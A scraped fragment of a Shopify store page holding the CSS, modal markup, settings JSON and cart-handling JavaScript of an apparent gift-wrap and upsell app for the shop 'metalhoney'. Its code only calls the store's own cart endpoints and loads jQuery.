 }
 .gktGiftCardContentFooterBtn1:hover {
    transform: scale(0.95);
}
 .gktGiftCardContentFooterBtn2{
 }
 @media screen and (max-width: 900px) {
    .gktGiftCardModal {
        top: 25%;
        left: 50%;
        min-width: 250px;
        width: 90vw !important;
        margin: 10px auto;
        padding:10px;
        margin-top: 15vh !important;
    }
 }
</style>
  <style>
  .gktGiftMessageContainer {
     display:  grid;
     grid-template-columns: 1fr;
     grid-template-rows: auto;
     padding: 5px 0px;
  }
  .gktGiftMessageItemContainer{
      display:  grid;
      grid-template-columns: 1fr;
      grid-template-rows: auto;
      padding: 3px 0px;
      margin: 3px 0px;
      border-radius: 3px;x
      font-size: 14px;
  }
  .gktGiftMessageItemContainer label {
    margin-bottom: 0px
  }
  .gktGiftMessageItemContainerLabelText{
    align-self: center;
    font-size:14px;
    justify-self: left;
    text-align: left;
  }
  .gktGiftMessageItemContainerLabelText > p{
    padding: 0px;
    margin: 0px;
  }
  .gktGiftMessageImage{
     width: 40px;
      height: 40px;
      border: 1px solid #f1f2f3;
  }
  .gktGiftMessageItemContainerItem1{
      grid-row: 1 / 5;
  }
  .gktGiftMessageItemContainerItem2{
  }
  .gktGiftMessageItemContainerItem3{
      position: relative;
      display: flex;
      width: fit-content;
      height: 30px;
      border-radius: 4px;
      overflow: hidden;
  }
   label.gktCustomCheckboxMsgContainer {
      display: grid;
      grid-template-columns: 1fr;
      min-height: 30px;
      font-weight: 600;
  } 
  /* The container */
  .gktCustomCheckboxMsgContainer {
    display: block;
    position: relative;
    padding-left: 35px;
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
  }
  /* Hide the browser's default checkbox */
  .gktCustomCheckboxMsgContainer input {
    position: absolute;
    opacity: 0;
    cursor: pointer;
    height: 0;
    width: 0;
  }
  /* Create a custom checkbox */
  .gktCustomMsgCheckboxCheckmark {
    position: absolute;
    top: 2px;
    left: 0;
    height: 25px;
    width: 25px;
    border: 1px solid #a2a2a2;
    border-radius: 4px;
  }
  /* On mouse-over, add a grey background color */
  .gktCustomCheckboxMsgContainer:hover input ~ .gktCustomMsgCheckboxCheckmark {
    background-color: #ccc;
  }
  /* When the checkbox is checked, add a blue background 
  .gktCustomCheckboxMsgContainer input:checked ~ .gktCustomMsgCheckboxCheckmark {
    background-color: #2196F3;
  } */
  /* Create the gktCustomMsgCheckboxCheckmark/indicator (hidden when not checked) */
  .gktCustomMsgCheckboxCheckmark:after {
    content: "";
    position: absolute;
    display: none;
  }
  /* Show the gktCustomMsgCheckboxCheckmark when checked */
  .gktCustomCheckboxMsgContainer input:checked ~ .gktCustomMsgCheckboxCheckmark:after {
    display: block;
  }
  /* Style the gktCustomMsgCheckboxCheckmark/indicator */
  .gktCustomCheckboxMsgContainer .gktCustomMsgCheckboxCheckmark:after {
    left: 8px;
    top: 1px;
    width: 8px;
    height: 16px;
    border: solid #009c00;
    border-width: 0 3px 3px 0;
    -webkit-transform: rotate(45deg);
    -ms-transform: rotate(45deg);
    transform: rotate(45deg);
  }
  textarea.gktGiftMessageTextArea:focus {
        border: none;
    }
  textarea.gktGiftMessageTextArea {
        display: none;
        border: 1px solid #b9babb;
        height: 60px;
        margin-left: 1px;
        -webkit-transition: all 0.6s ease-in-out;
        transition: all 0.6s ease-in-out;
    }
  </style>
  <style>
  .gktGiftMessageContainer {
     display:  grid;
     grid-template-columns: 1fr;
     grid-template-rows: auto;
     padding: 5px 0px;
  }
  .gktGiftMessageItemContainer{
      display:  grid;
      grid-template-columns: 1fr;
      grid-template-rows: auto;
      padding: 3px 0px;
      margin: 3px 0px;
      border-radius: 3px;x
      font-size: 14px;
  }
  .gktGiftMessageItemContainer label {
    margin-bottom: 0px
  }
  .gktGiftMessageItemContainerLabelText{
    align-self: center;
    font-size:14px;
    justify-self: left;
    text-align: left;
  }
  .gktGiftMessageImage{
     width: 40px;
      height: 40px;
      border: 1px solid #f1f2f3;
  }
  .gktGiftMessageItemContainerItem1{
      grid-row: 1 / 5;
  }
  .gktGiftMessageItemContainerItem2{
  }
  .gktGiftMessageItemContainerItem3{
      position: relative;
      display: flex;
      width: fit-content;
      height: 30px;
      border-radius: 4px;
      overflow: hidden;
  }
   label.gktGiftMsgAndWrapWrapperInnerEle {
      display: grid;
      grid-template-columns: 1fr;
      min-height: 30px;
      font-weight: 600;
  } 
  /* The container */
  .gktGiftMsgAndWrapWrapperInnerEle {
    display: block;
    position: relative;
    padding-left: 35px;
    cursor: pointer;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
  }
  /* Hide the browser's default checkbox */
  .gktGiftMsgAndWrapWrapperInnerEle input {
    position: absolute;
    opacity: 0;
    cursor: pointer;
    height: 0;
    width: 0;
  }
  /* Create a custom checkbox */
  .gktCustomWrapCheckboxCheckmark {
    position: absolute;
    top: 2px;
    left: 0;
    height: 25px;
    width: 25px;
    border: 1px solid #a2a2a2;
    border-radius: 4px;
  }
  /* On mouse-over, add a grey background color */
  .gktGiftMsgAndWrapWrapperInnerEle:hover input ~ .gktCustomWrapCheckboxCheckmark {
    background-color: #ccc;
  }
  /* When the checkbox is checked, add a blue background 
  .gktGiftMsgAndWrapWrapperInnerEle input:checked ~ .gktCustomWrapCheckboxCheckmark {
    background-color: #2196F3;
  } */
  /* Create the gktCustomWrapCheckboxCheckmark/indicator (hidden when not checked) */
  .gktCustomWrapCheckboxCheckmark:after {
    content: "";
    position: absolute;
    display: none;
  }
  /* Show the gktCustomWrapCheckboxCheckmark when checked */
  .gktGiftMsgAndWrapWrapperInnerEle input:checked ~ .gktCustomWrapCheckboxCheckmark:after {
    display: block;
  }
  /* Style the gktCustomWrapCheckboxCheckmark/indicator */
  .gktGiftMsgAndWrapWrapperInnerEle .gktCustomWrapCheckboxCheckmark:after {
    left: 8px;
    top: 1px;
    width: 8px;
    height: 16px;
    border: solid #009c00;
    border-width: 0 3px 3px 0;
    -webkit-transform: rotate(45deg);
    -ms-transform: rotate(45deg);
    transform: rotate(45deg);
  }
  textarea.gktGiftMessageTextArea:focus {
        border: none;
    }
  textarea.gktGiftMessageTextArea {
        display: none;
        border: 1px solid #b9babb;
        height: 60px;
        margin-left: 1px;
        -webkit-transition: all 0.6s ease-in-out;
        transition: all 0.6s ease-in-out;
    }
  </style>
<style>
    null
</style>
</div>
<div class="gktModalWrapper">
    <div class="gktModal">
        <div class="gktModalHeader">
            <strong class="gktModalPopupHeading"> </strong>
            <!-- <div class="gktModalClose"> &times; </div>   -->
            <div class="gktModalClose">
                <svg viewbox="0 0 24 24">
                    <path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z">
                    </path>
                </svg>
            </div>
        </div>
        <div class="gktContentWrapper">
            <div class="gktLeftContent">
                <div class="gktJustifyCenter">
                    <label class="gktCheckboxLayout">
                        <input type="checkbox" checked="true" class="gktGiftMessageCheckbox">
                        <div class="gktMessageCheckboxHeading">
                        </div>
                    </label>
                </div>
                <textarea class="gktMessageTextarea gktAlignCenter">
                            </textarea>
            </div>
            <div class="gktRightContent">
                <div class="gktJustifyCenter">
                    <label class="gktCheckboxLayout">
                        <input type="checkbox" checked="true" class="gktGiftWrapCheckbox">
                        <div class="gktGiftWrapCheckboxHeading">
                        </div>
                    </label>
                </div>
                <img class="gktGiftWrapImage gktAlignCenter" loading="lazy">
            </div>
        </div>
        <div class="gktModalFooter">
            <div class="gktModalSave"></div>
        </div>
    </div>
</div>
</div>
<!-- modal for combo -->
</div>
<div class="gktComboModalWrapper">
    <div class="gktComboModal">
        <div class="gktComboModalHeader">
            <strong class="gktComboModalPopupHeading"> </strong>
            <!-- <div class="gktModalClose"> &times; </div>   -->
            <div class="gktComboModalClose">
                <svg viewbox="0 0 24 24">
                    <path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z">
                    </path>
                </svg>
            </div>
        </div>
        <div class="gktComboContent">
            <div class="gktComboContentHeader"></div>
            <div class="gktComboContentFooter">
                <div class="gktComboContentFooterBtn1"></div>
                <div class="gktComboContentFooterBtn2"></div>
            </div>
        </div>
    </div>
</div>
</div>
</div>
<div class="gktGiftCardModalWrapper">
    <div class="gktGiftCardModal">
        <div class="gktGiftCardModalHeader">
            <strong class="gktGiftCardModalPopupHeading"> </strong>
            <!-- <div class="gktModalClose"> &times; </div>   -->
            <div class="gktGiftCardModalClose">
                <svg viewbox="0 0 24 24">
                    <path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z">
                    </path>
                </svg>
            </div>
        </div>
        <div class="gktGiftCardContent">
            <div class="gktGiftCardContentHeader"></div>
            <form>
                <div class="gktGiftCardContentBody"></div>
            </form>
            <div class="gktGiftCardContentFooter">
                <div class="gktGiftCardContentFooterBtn1"></div>
            </div>
        </div>
    </div>
</div>
</div>
<link rel="stylesheet" href="../1.2.6/quill.snow.css">
<script async>
    let tmpCartSettings = {"_id":"6226e07fc57b6a6bba8394fc","cartPageText":"<p><strong style=\"font-size: 18px; color: rgb(230, 0, 0);\">🎁 Add Gift Wrap</strong></p>","popupCheckBoxText":"<p>Add Gift Wrap</p>","popupHeadingText":"<p><strong style=\"color: rgb(230, 0, 0); font-size: 34px;\">🎁 GIFT OPTIONS<span class=\"ql-cursor\"></span></strong></p>","popupImgUrl":"../gift_popup/Pink-gifting.png","saveButtonBackgroundColor":"#353535","saveButtonTextColor":"#FFFFFF","saveButtonText":"SAVE","cartPopupBackgroundColor":"#FFFFFF","messageBoxplaceholder":"Add a personlized gift message here...","giftWrapImgUrl":"../public/giftWrap_image.png","giftWrapShopifyImgUrl":"../public/giftWrap_image.png","giftWrapTitle":"Wrap","giftWrapDesc":"All gift items are wrapped in high quality gift wrap before being securely packaged for delivery.","giftWrapPrice":"0.0","messageCheckboxHeading":"<p>Add Gift Message</p>","giftWrapCheckboxHeading":"<p>Add Gift Wrap</p>","enabledGifiting":"CART_PAGE","giftWrapHandle":"wrap","isVisibleOnCart":true,"isVisibleOnAllProductPages":true,"isVisibleOnSpecificProductPages":false,"visibleOnSpecificProductPages":[],"shopName":"metalhoney.myshopify.com","isGiftField":false,"isGiftWrap":false,"isGiftPrice":false,"productId":"6893658701964","productVariantId":"40173416677516","currency":"USD","themeId":"81957257356","createdAt":"2022-03-08T04:50:07.226Z","updatedAt":"2022-03-08T04:50:09.925Z","combos":[],"oneClickUpsells":[],"giftCards":[],"giftMessage":{"_id":"6226e080c57b6a6bba839507","shopName":"metalhoney.myshopify.com","isDeleted":false,"isGiftMessageEnabled":true,"isVisibleOnCart":true,"isVisibleOnAllProductPages":false,"isVisibleOnSpecificProductPages":false,"visibleOnSpecificProductPages":[],"createdAt":"2022-03-08T04:50:08.052Z","updatedAt":"2022-03-08T04:51:16.925Z","__v":0},"userData":{"shopName":"metalhoney.myshopify.com","countryCode":"US","countryName":"United States","currency":"USD","currencyInfo":{"code":"USD","symbol":"$","thousandsSeparator":",","decimalSeparator":".","symbolOnLeft":true,"spaceBetweenAmountAndSymbol":false,"decimalDigits":2},"customSettings":{"initialModalPopupCnt":0,"disableCartSettings":false,"addToCartBtnSelectors":null,"checkoutBtnSelectors":null,"customStyle":null,"addAfterAddTocartBtn":false,"addAftercheckoutBtn":false,"disableApp":false},"email":"317sarah@gmail.com"},"languageData":{"_id":"6226e07f764c6acbb9b5927e","shopName":"metalhoney.myshopify.com","__v":0,"createdAt":"2022-03-08T04:50:07.248Z","giftcard":{"purchasePageFields":{"modalHeading":{"id":"modalHeading","label":"Popup Heading Text","type":"text","value":"Let's wrap"},"modalDescription":{"id":"modalDescription","label":"Popup Description Text","type":"text","value":"Please provide the recipient's name and email address and we will send your gift card."},"recipientName":{"id":"recipientName","label":"Recipient name label","type":"text","value":"Recipient Name"},"recipientNamePlaceholder":{"id":"recipientNamePlaceholder","label":"Recipient name Placeholder","type":"text","value":"Recipient Name"},"recipientEmail":{"id":"recipientEmail","label":"Recipient email label","type":"text","value":"Recipient Email"},"recipientEmailPlaceholder":{"id":"recipientEmailPlaceholder","label":"Recipient email Placeholder","type":"text","value":"Recipient Email"},"senderName":{"id":"senderName","label":"Sender name label","type":"text","value":"Sender Name"},"senderNamePlaceholder":{"id":"senderNamePlaceholder","label":"Sender Name Placeholder","type":"text","value":"Sender Name..."},"giftNote":{"id":"giftNote","label":"Gift note label","type":"text","value":"Gift Note"},"giftNotePlaceholder":{"id":"giftNotePlaceholder","label":"Gift note placeholder","type":"text","value":"Enter a message for the recipient"},"buyNowButtonText":{"id":"buyNowButtonText","label":"Buy Now Button text","type":"text","value":"Buy Now"},"buyNowButtonTextLoading":{"id":"buyNowButtonTextLoading","label":"Buy Now Button text Loading","type":"text","value":"Loading checkout page"},"addToCartButtonText":{"id":"addToCartButtonText","label":"Send Gift Card button text","type":"text","value":"Send Gift Card"}}},"isDeleted":false,"updatedAt":"2022-03-08T04:51:16.925Z","giftMessage":{"giftMessageHeadingLabel":"<p>Add Gift Note</p>","giftMessagePlaceholderText":"From one hot honey to another <3"}}};//CART_SETTINGS_END
    let DEFAULT_addToCartBtnSelectors = 'input[name="add"], button[name="add"], form[action*="/cart/add"] input[type="submit"], form[action*="/cart/add"] button[type="submit"], form[action*="/cart/add"] button:not([type="button"]), form[action*="/cart/add"] .gkt__add-to-cart';
    let DEFAULT_checkoutBtnSelectors = 'button[name="checkout"], input[name="checkout"], form[action*="/cart"] a[href="/checkout"], a[href="/checkout"], form[action="/cart"] input[type="submit"][name="checkout"], form[action="/cart"] button[type="submit"][name="checkout"]';
    let DEFAULT_quantityBtnSelectors = '.ajaxcart__qty,quantity-input .quantity,.product-form__input, .product-form__quantity ';
    let DEFAULT_sideCartSelectors = '.cart-notification,cart-notification,.cart-notification-wrapper,#cart-notification, #CartDrawer, .drawer, .drawer-cover, .Drawer';
    let DEFAULT_buyNowBtn = '.shopify-payment-button__button, .shopify-payment-button__button--unbranded';
    let DEFAULT_cartForm = 'form[action="/cart"], form[action="/cart/"], form[action="cart"]';
    var cart_settings = {
        giftWrapProduct: {
            productId: tmpCartSettings.productId,
            productVairantID: tmpCartSettings.productVariantId,
            giftWrapPrice: tmpCartSettings.giftWrapPrice,
            giftWrapProductImage: tmpCartSettings.giftWrapImgUrl,
            giftWrapShopifyImgUrl: tmpCartSettings.giftWrapShopifyImgUrl,
            giftWrapHandle: tmpCartSettings.giftWrapHandle,
            isGiftWrapEnabled: tmpCartSettings.isGiftWrap,
            isVisibleOnCart: tmpCartSettings.isVisibleOnCart,
            isVisibleOnAllProductPages: tmpCartSettings.isVisibleOnAllProductPages,
            isVisibleOnSpecificProductPages: tmpCartSettings.isVisibleOnSpecificProductPages,
            visibleOnSpecificProductPages: tmpCartSettings.visibleOnSpecificProductPages
        },
        giftMessage: tmpCartSettings.giftMessage || {},
        popup: {
            popupHeadingText: tmpCartSettings.popupHeadingText,
            messageCheckboxHeading: tmpCartSettings.messageCheckboxHeading,
            giftWrapCheckboxHeading: tmpCartSettings.giftWrapCheckboxHeading,
            messageBoxplaceholder: tmpCartSettings.messageBoxplaceholder,
            saveButtonBackgroundColor: tmpCartSettings.saveButtonBackgroundColor,
            saveButtonTextColor: tmpCartSettings.saveButtonTextColor,
            saveButtonText: tmpCartSettings.saveButtonText,
            cartPopupBackgroundColor: tmpCartSettings.cartPopupBackgroundColor,
            reloadOnCancelClick: tmpCartSettings.reloadOnCancelClick
        },
        giftingOptions: {
            isGiftWrapEnabled: tmpCartSettings.isGiftWrap,
            isGiftMessageEnabled: tmpCartSettings.isGiftField,
            // enabledGifiting: "PRODUCT_PAGES_AND_CART_PAGE", "PRODUCT_PAGES", "CART_PAGE", "NONE",
            enabledGifiting: tmpCartSettings.enabledGifiting,
            shopifyPageinnerHTML: tmpCartSettings.cartPageText
        },
        pageWrapper: { cartPageText: tmpCartSettings.cartPageText },
        combos: tmpCartSettings.combos || [],
        oneClickUpsells: tmpCartSettings.oneClickUpsells || [],
        giftCards: tmpCartSettings.giftCards || [],
        app: {
            disableApp: tmpCartSettings.userData.customSettings.disableApp || false,
            disableSideCart: tmpCartSettings.userData.customSettings.disableSideCart || false,
            refreshProductPageOnGiftWrap: tmpCartSettings.userData.customSettings.refreshProductPageOnGiftWrap || false,
            addToCartBtnSelectors: tmpCartSettings.userData.customSettings.addToCartBtnSelectors || DEFAULT_addToCartBtnSelectors,
            checkoutBtnSelectors: tmpCartSettings.userData.customSettings.checkoutBtnSelectors || DEFAULT_checkoutBtnSelectors,
            quantityBtnSelectors: tmpCartSettings.userData.customSettings.quantityBtnSelectors || DEFAULT_quantityBtnSelectors,
            sideCartSelectors: tmpCartSettings.userData.customSettings.sideCartSelectors || DEFAULT_sideCartSelectors,
            // cartDrawerSelectors: tmpCartSettings.userData.customSettings.cartDrawerSelectors || DEFAULT_cartDrawerSelectors,
            // sideCartDrawerOverlay: tmpCartSettings.userData.customSettings.sideCartDrawerOverlay || DEFAULT_sideCartDrawerOverlay,
            buyNowBtn: tmpCartSettings.userData.customSettings.buyNowBtn || DEFAULT_buyNowBtn,
            cartForm: tmpCartSettings.userData.customSettings.cartForm || DEFAULT_cartForm,
            addAfterAddTocartBtn:tmpCartSettings.userData.customSettings.addAfterAddTocartBtn || false,
            addAftercheckoutBtn: tmpCartSettings.userData.customSettings.addAftercheckoutBtn || false,
        },
        merchantInfo: tmpCartSettings.userData,
        languageData: tmpCartSettings.languageData,
    }
    let shopifyLiquidValues = {
        product: { handle: null },
        selected_or_first_available_variant: null,
        }
    var gktUtils = {
        f: {}
    }
    window.gktUtils = gktUtils;
    /*
    *fn(param1, param2) =>   
    *param1 is url of script that we suppose to load 
    *param2 is function that should be called after script is loaded 
    */
    gktUtils.f.loadScript = function (a, b) {
        var c = document.createElement("script");
        c.type = "text/javascript";
        c.src = a;
        document.getElementsByTagName("head")[0].appendChild(c)
        c.onload = function () { b() };
    };
    /*
    * we changed loadScript function - if else block for onload is removed as it was not making sense
    *fn(param1) =>  
    *param1 - represents function that should be executed once jquery is loaded 
    *https://www.w3schools.com/jquery/jquery_noconflict.asp
    */
    gktUtils.f.loadJquery = function (b) {
        console.log("does this work");
        "undefined" === typeof jQuery || 1.9 > parseFloat(jQuery.fn.jquery) ? gktUtils.f.loadScript("../ajax/libs/jquery/3.1.0/jquery.min.js", function () {
            gktJquery = jQuery.noConflict(!0);
            b(gktJquery)
        })
            :
            b(jQuery)
    };
    var gkt = {
        debug: [],
        version: 1.1,
        state: {
            submitted: "",
            product_added: "",
            page_type: "",
            insertWrapperOnPage: [],
            cartData: undefined,
            isOverWriteBuyNowBtnTriggered: false
        },
        constants: {
            themesIds: {
                DAWN_THEME: 887,
                VENTURE_THEME: 775,
                EXPRESS_THEME: 885,
                CRAVE_THEME: 1363,
                SENSE_THEME: 1356,
                CRAFT_THEME: 1368,
            }
        },
        settings: cart_settings, //object from function
        selectors: {
            addToCart: cart_settings.app.addToCartBtnSelectors,
            checkoutBtn: cart_settings.app.checkoutBtnSelectors,
            sideCartSelectors: cart_settings.app.sideCartSelectors,
            buyNowBtn: cart_settings.app.buyNowBtn,
            cartForm: cart_settings.app.cartForm,
            productPageWrapperV2: '.gktProductPageWrapperV2',
            cartPageWrapperV2: '.gktCartPageWrapperV2',
            quantityBtnSelectors : cart_settings.app.quantityBtnSelectors,
        },
        cartInterval: "",
        productinterval: "",
        f: {
            bootstrap: function (settings) {
                console.log("bootstap?");
                gkt.f.globalListener(settings)
                // gkt.gktGiftMsgAndWrap.init(settings);
                gkt.storage.loadValuesFromStorage(gkt.settings);
                gkt.themeSpecificCode.init(gkt.settings)
            },
            getPageType: function () {
                var pageType = "";
                if (window.location.pathname.includes("/cart") && !window.location.pathname.includes("/products")) {
                    pageType = "cart";
                } else if (window.location.pathname.includes("/products")) {
                    pageType = "product";
                } else if (window.location.pathname.includes("/collections")) {
                    pageType = "COLLECTION";
                } else if (window.location.pathname.includes("/")) {
                    pageType = "HOME";
                } else if ("undefined" != typeof Shopify && "undefined" != typeof Shopify.Checkout) {
                    pageType = "CHECKOUT";
                } else {
                    pageType = "PAGE_NOT_FOUND";
                }
                return pageType;
            },
            getProductPageHandle: function () {
                if ("product" === gkt.state.page_type && shopifyLiquidValues.product.handle) {
                    // let pattern = /(?<=\/products\/)((?!\?|\$).)+/g
                    // if(window && window.location && window.location.href){
                    //     return window.location.href.match(pattern)[0]
                    // }
                    return shopifyLiquidValues.product.handle
                }
                return "undefined"
            },
            getSelectedVariant: function () {
                if ("product" === gkt.state.page_type) {
                    if (ShopifyAnalytics && ShopifyAnalytics.meta && ShopifyAnalytics.meta.selectedVariantId) {
                        return ShopifyAnalytics.meta.selectedVariantId
                    }
                    if (document.querySelector('[name="id"]') && document.querySelector('[name="id"]').value) {
                        return document.querySelector('[name="id"]').value
                    }
                    if (shopifyLiquidValues.selected_or_first_available_variant) {
                        return shopifyLiquidValues.selected_or_first_available_variant.id
                    }
                    return undefined
                }
            },
            getElements: function (settings) {
                return {
                    gktGiftMsgAndWrapWrapperParent: gkt.$(gkt.$.parseHTML('<div class="gktGiftMsgAndWrapHeader"><div class="gktGiftMsgAndWrapHeaderItem"><label for="gift-wrapping" class="gktGiftMsgAndWrapWrapperInnerEle"><input id="gift-wrapping" class="gktGiftOptionsCheckbox" type="checkbox" name="addGiftOptions"><span class="gktCustomWrapCheckboxCheckmark"></span><div class="gktGiftMsgAndWrapWrapperInnerEleHeading"></div></label> </div></div>')),
                    gktCartGiftMsgAndWrapWrapperParent: gkt.$(gkt.$.parseHTML('<div class="gktCartGiftMsgAndWrapHeader"><div class="gktCartGiftMsgAndWrapHeaderItem"><label for="gift-wrapping" class="gktGiftMsgAndWrapWrapperInnerEle"><input id="gift-wrapping" class="gktGiftOptionsCheckbox" type="checkbox" name="addGiftOptions"><span class="gktCustomWrapCheckboxCheckmark"></span><div class="gktGiftMsgAndWrapWrapperInnerEleHeading"></div></label></div></div>')),
                    addToCartBtn: gkt.$(document).find(gkt.selectors.addToCart),
                    addToCartButtonCloned: undefined,
                    checkoutBtn: gkt.$(document).find(gkt.selectors.checkoutBtn),
                    cartForm: gkt.$(document).find(gkt.selectors.cartForm),
                    productPageWrapperV2: gkt.$(gkt.$.parseHTML('<div class="gktPageWrapper gktProductPageWrapperV2"> <div class="gktComboWrapper"></div> <div class="gktProductPageUpsellWrapper"></div>  <div class="gktGiftMsgAndWrapWrapper"></div> <div class="gktGiftMessageWrapper"></div> </div>')),
                    cartPageWrapperV2: gkt.$(gkt.$.parseHTML('<div class="gktPageWrapper gktCartPageWrapperV2"> <div class="gktCartUpsellWrapper"></div> <div class="gktCartGiftMsgAndWrapWrapper"></div><div class="gktCartGiftMessageWrapper"></div> </div>')),
                    buyNowBtn: gkt.$(document).find(gkt.selectors.buyNowBtn)
                }
            },
            initialize: function (jQuery) {
                //  gkt.$.ajaxSetup({global: true});
                gkt.state.page_type = gkt.f.getPageType();
                gkt.elements = gkt.f.getElements(gkt.settings);
                if ("" === gkt.state.page_type) return false;
                return gkt.f.bootstrap(gkt.settings);
            },
            globalListener: function (settings) {
                let isIntervalActive = false
                //if app is disabled reurn
                if (settings.app.disableApp) {
                    return
                } else {
                    if ("product" === gkt.state.page_type) {
                        gkt.productPage.init(settings)
                    }
                    if (settings.app.disableSideCart) {
                        if ("cart" === gkt.state.page_type) {
                            gkt.cartPage.init(settings)
                        }
                    } else {
                        gkt.cartPage.init(settings)
                    }
                }
                setInterval(async () => {
                    if (!isIntervalActive) {
                        // console.log("globalListener-active")
                        isIntervalActive = true
                        // insert productpage wrapper if productPage is initialized
                        if ("product" === gkt.state.page_type &&
                            gkt.elements.addToCartBtn.length > 0 &&
                            gkt.$(document).find(gkt.selectors.productPageWrapperV2).length == 0) {
                            console.log("productPage-insertWrapperIntoPage1")
                            gkt.productPage.f.insertWrapperIntoPage(settings)
                        }
                        let checkoutBtnEle = gkt.$(document).find(gkt.selectors.checkoutBtn)
                        // insert cartPage wrapper if cartPage is initialized 
                        if (checkoutBtnEle.length > 0 &&
                            gkt.$(document).find(gkt.selectors.cartPageWrapperV2).length == 0) {
                            console.log("cartPage-insertWrapperIntoPage")
                            await gkt.cartPage.f.insertWrapperIntoPage(settings)
                        }
                        // keep syncing state of wrapper which is on the page as on some instance it reset 
                        if (gkt.$(document).find(gkt.selectors.productPageWrapperV2).length > 0 || gkt.$(document).find(gkt.selectors.cartPageWrapperV2).length > 0) {
                            gkt.gktGiftMsgAndWrap.action.syncWrapperCheckBoxState()
                        }
                        // check if giftkart product is there in cart and giftwrap is set to true
                        let gktGiftWrapCheckbox = sessionStorage.getItem("gktGiftWrapCheckbox");
                        if (gktGiftWrapCheckbox === "true" ? true : false) {
                            // console.log("check cart if its having giftwrap product")
                            let giftWrapProductFound = false
                            // check if giftkart product is there in cart and giftwrap is set to true
                            let cartData = await gkt.utility.getCart()
                            for (var item of cartData['items']) {
                                if (item["variant_id"].toString() == gkt.settings.giftWrapProduct.productVairantID) {
                                    giftWrapProductFound = true;
                                }
                            }
                            // if giftwrap is not found ensure box is uncheck
                            if (!giftWrapProductFound) {
                                console.log("giftwrapproduct not found")
                                gkt.storage.setItem("gktGiftWrapCheckbox", false)
                                gkt.utility.updateCart({ attributes: { giftWrap: "" } })
                            } else {
                            }
                        }
                        // check if comboproduct overwrite buyNowButton 
                        if (gkt.gktCombo.state.comboHandle != "") {
                            gkt.gktCombo.f.comboBuyNowButtonOverwrite()
                        }
                        // check if giftCard overwrite buyNowButton 
                        if (gkt.gktGiftCard.state.giftCardData) {
                            gkt.gktGiftCard.f.giftCardBuyNowButtonOverwrite()
                        }
                        // check if giftwrap, message or oneclick upsell overwrite buyNowButton
                        if(gkt.state.isOverWriteBuyNowBtnTriggered && gkt.$(document).find(".gkt-overwrite-buy-now-btn").length  == 0){
                            gkt.utility.overWriteBuyNowBtn()
                        }
                        isIntervalActive = false
                    }
                }, 1000)
            }
        },
        utility: {
            getCookie: function (cookieName) {
                let name = cookieName + "=";
                let decodedCookie = decodeURIComponent(document.cookie);
                let ca = decodedCookie.split(";");
                for (let i = 0; i < ca.length; i++) {
                    let c = ca[i];
                    while (c.charAt(0) == " ") {
                        c = c.substring(1);
                    }
                    if (c.indexOf(name) == 0) {
                        return c.substring(name.length, c.length);
                    }
                }
                return null;
            },
            setCookie: function (cookieName, cookieValue, expiryDays = 7) {
                const d = new Date();
                d.setTime(d.getTime() + expiryDays * 24 * 60 * 60 * 1000);
                let expires = "expires=" + d.toUTCString();
                document.cookie = cookieName + "=" + cookieValue + ";" + expires + ";path=/";
            },
            addToCart: async function (data) {
                try {
                    // if there is nothing to add in cart..just return true
                    if (!data.id) {
                        return true
                    }
                    let result = await gkt.$.ajax({
                        url: "/cart/add.js",
                        data: data,
                        type: "POST",
                        dataType: "json",
                    })
                    return true
                } catch (error) {
                    console.error("gkt-utility-addToCart");
                    console.error(error);
                    return false
                }
            },
            updateCart: async function (data) {
                try {
                    let result = await gkt.$.ajax({
                        type: "POST",
                        url: "/cart/update.js",
                        data: data,
                        dataType: "json",
                    });
                    return result
                } catch (error) {
                    console.error("gkt-utility-updateCart");
                    console.error(error);
                    return false
                }
            },
            changeCart: async function (data) {
                try {
                    let result = await gkt.$.ajax({
                        type: "POST",
                        url: "/cart/change.js",
                        data: data,
                        dataType: "json",
                    });
                    return true
                } catch (error) {
                    console.error("gkt-utility-changeCart");
                    console.error(error);
                    return false
                }
            },
            getProductData: async function (productName) {
                try {
                    let result = await gkt.$.ajax({
                        type: "GET",
                        url: "/products/" + productName,
                        // data: data,
                        dataType: "json",
                    });
                    return result;
                } catch (error) {
                    console.error("gkt-utility-updateCart");
                    console.error(error);
                    return false
                }
            },
            getProductDataV2: function (productName) {
                try {
                    return new Promise((res, rej) => {
                        gkt.$.getJSON("/products/" + productName + ".js", function (product) {
                            console.log("success-productName: ", productName)
                            res(product)
                        }).fail(function () { console.log("fail-productName: ", productName); res(false) })
                    })
                    return result;
                } catch (error) {
                    console.error("gkt-utility-getProductDataV2");
                    console.error(error);
                    return false
                }
            },
            addToCartV2: function (data) {
                try {
                    return new Promise((res, rej) => {
                        gkt.$.post('/cart/add.js', data)
                            .done(function () { console.log("success-/cart/add.js': "); res(true) })
                            .fail(function () { console.log("fail-/cart/add.js"); res(false) })
                    })
                    return result;
                } catch (error) {
                    console.error("gkt-utility-addToCartV2");
                    console.error(error);
                    return false
                }
            },
            clearCart: function (data) {
                try {
                    return new Promise((res, rej) => {
                        gkt.$.post('/cart/clear.js', data)
                            .done(function () { console.log("success-/cart/clear.js': "); res(true) })
                            .fail(function () { console.log("fail-/cart/clear.js"); res(false) })
                    })
                    return result;
                } catch (error) {
                    console.error("gkt-utility-clearCart");
                    console.error(error);
                    return false
                }
            },
            getCart: async function (data) {
                try {
                    let result = await gkt.$.ajax({
                        type: "GET",
                        url: "/cart.js",
                        dataType: "json",
                    });
                    return result
                } catch (error) {
                    console.error("gkt-utility-getCart");
                    console.error(error);
                    return false
                }
            },
            getCartTotalQuantity: async function () {
                try {
                    let total = 0
                    let cartData = await gkt.$.ajax({
                        type: "GET",
                        url: "/cart.js",
                        dataType: "json",
                    });
                    for (var item of cartData['items']) {
                        total += item["quantity"]
                    }
                    return total
                } catch (error) {
                    console.error("gkt-utility-getCart");
                    console.error(error);
                    return false
                }
            },
            checkIfItemPresentInCart: function (searchedVariantId) {
                if (gkt.state.cartData && gkt.state.cartData.items && gkt.state.cartData.items.length && gkt.state.cartData.items.length > 0) {
                    for (let i = 0; i < gkt.state.cartData.items.length; i++) {
